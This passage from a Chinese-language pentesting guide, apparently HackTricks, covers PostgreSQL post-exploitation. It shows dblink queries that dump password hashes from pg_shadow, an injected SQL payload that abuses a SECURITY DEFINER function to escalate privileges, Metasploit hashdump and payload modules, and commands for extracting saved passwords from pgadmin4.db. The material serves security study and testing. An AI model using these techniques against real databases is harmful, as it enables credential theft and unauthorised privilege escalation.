|
||
port=5432
|
||
user=someuser
|
||
password=supersecret
|
||
dbname=somedb',
|
||
'Select usename,passwd from pg_shadow')
|
||
RETURNS (result TEXT);
|
||
```
|
||
{% hint style="warning" %}
|
||
请注意,为了使上述查询工作,**需要存在函数 `dblink`**。如果不存在,您可以尝试使用以下命令创建它:
|
||
```sql
|
||
CREATE EXTENSION dblink;
|
||
```
|
||
{% endhint %}
|
||
|
||
如果您拥有具有更高权限的用户的密码,但该用户不允许从外部IP登录,您可以使用以下函数以该用户的身份执行查询:
|
||
```sql
|
||
SELECT * FROM dblink('host=127.0.0.1
|
||
user=someuser
|
||
dbname=somedb',
|
||
'Select usename,passwd from pg_shadow')
|
||
RETURNS (result TEXT);
|
||
```
|
||
可以使用以下方法检查该函数是否存在:
|
||
```sql
|
||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||
```
|
||
### **具有** SECURITY DEFINER **的自定义定义函数**
|
||
|
||
在[这篇文章](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)中,渗透测试人员能够在由IBM提供的postgres实例中提升权限,因为他们**发现了具有 SECURITY DEFINER 标志的这个函数**:
|
||
|
||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||
RETURNS text
|
||
LANGUAGE 'plpgsql'
|
||
<strong> VOLATILE SECURITY DEFINER
|
||
</strong> PARALLEL UNSAFE
|
||
COST 100
|
||
|
||
AS $BODY$
|
||
DECLARE
|
||
persist_dblink_extension boolean;
|
||
BEGIN
|
||
persist_dblink_extension := create_dblink_extension();
|
||
PERFORM dblink_connect(format('dbname=%s', db_name));
|
||
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
||
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
||
PERFORM dblink_disconnect();
|
||
…
|
||
</code></pre>
|
||
|
||
正如[文档中所解释的](https://www.postgresql.org/docs/current/sql-createfunction.html),具有**SECURITY DEFINER 的函数**将以**拥有它的用户的权限**执行。因此,如果函数**容易受到 SQL 注入攻击**,或者使用由攻击者控制的参数执行一些**特权操作**,则可以滥用该函数来**提升在 postgres 中的权限**。
|
||
|
||
在上述代码的第4行中,您可以看到该函数具有**SECURITY DEFINER**标志。
|
||
```sql
|
||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||
```
|
||
然后**执行命令**:
|
||
|
||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### 使用PL/pgSQL进行密码暴力破解
|
||
|
||
作为一个**功能齐全的编程语言**,PL/pgSQL比SQL具有更多的过程控制能力,包括**使用循环和其他控制结构的能力**。SQL语句和触发器可以调用在PL/pgSQL语言中创建的函数。\
|
||
**您可以滥用这种语言来要求PostgreSQL对用户凭据进行暴力破解。**
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||
{% endcontent-ref %}
|
||
|
||
## **POST**
|
||
```
|
||
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
||
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
||
msf> use auxiliary/admin/postgres/postgres_readfile
|
||
msf> use exploit/linux/postgres/postgres_payload
|
||
msf> use exploit/windows/postgres/postgres_payload
|
||
```
|
||
### 日志记录
|
||
|
||
在 _**postgresql.conf**_ 文件中,您可以通过更改以下内容来启用postgresql日志记录:
|
||
```bash
|
||
log_statement = 'all'
|
||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||
logging_collector = on
|
||
sudo service postgresql restart
|
||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||
```
|
||
然后,**重新启动服务**。
|
||
|
||
### pgadmin
|
||
|
||
[pgadmin](https://www.pgadmin.org) 是用于 PostgreSQL 的管理和开发平台。\
|
||
您可以在 _**pgadmin4.db**_ 文件中找到 **密码**。\
|
||
您可以使用脚本中的 _**decrypt**_ 函数对其进行解密:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||
```bash
|
||
sqlite3 pgadmin4.db ".schema"
|
||
sqlite3 pgadmin4.db "select * from user;"
|
||
sqlite3 pgadmin4.db "select * from server;"
|
||
string pgadmin4.db
|
||
```
|
||
### pg\_hba
|
||
|
||
客户端认证由一个名为 **pg\_hba.conf** 的配置文件控制。该文件包含一组记录。每个记录可以有以下七种格式之一:
|
||
|
||
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
|
||
|
||
**每个**记录**指定**一个**连接类型**,一个**客户端 IP 地址范围**(如果对于连接类型有关),一个**数据库名称**,一个**用户名**,以及用于匹配这些参数的连接的**认证方法**。选择与连接类型、客户端地址、请求的数据库和用户名**匹配的第一个记录**用于执行认证。没有“逐级”或“备份”:**如果选择了一个记录并且认证失败,则不考虑后续记录**。如果没有记录匹配,则拒绝访问。\
|
||
基于密码的认证方法有 **md5**、**crypt** 和 **password**。这些方法的操作方式类似,只是密码在连接中发送的方式不同:分别是 MD5 哈希、crypt 加密和明文。一个限制是 crypt 方法不能与在 pg\_authid 中加密的密码一起使用。
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
||
\
|
||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|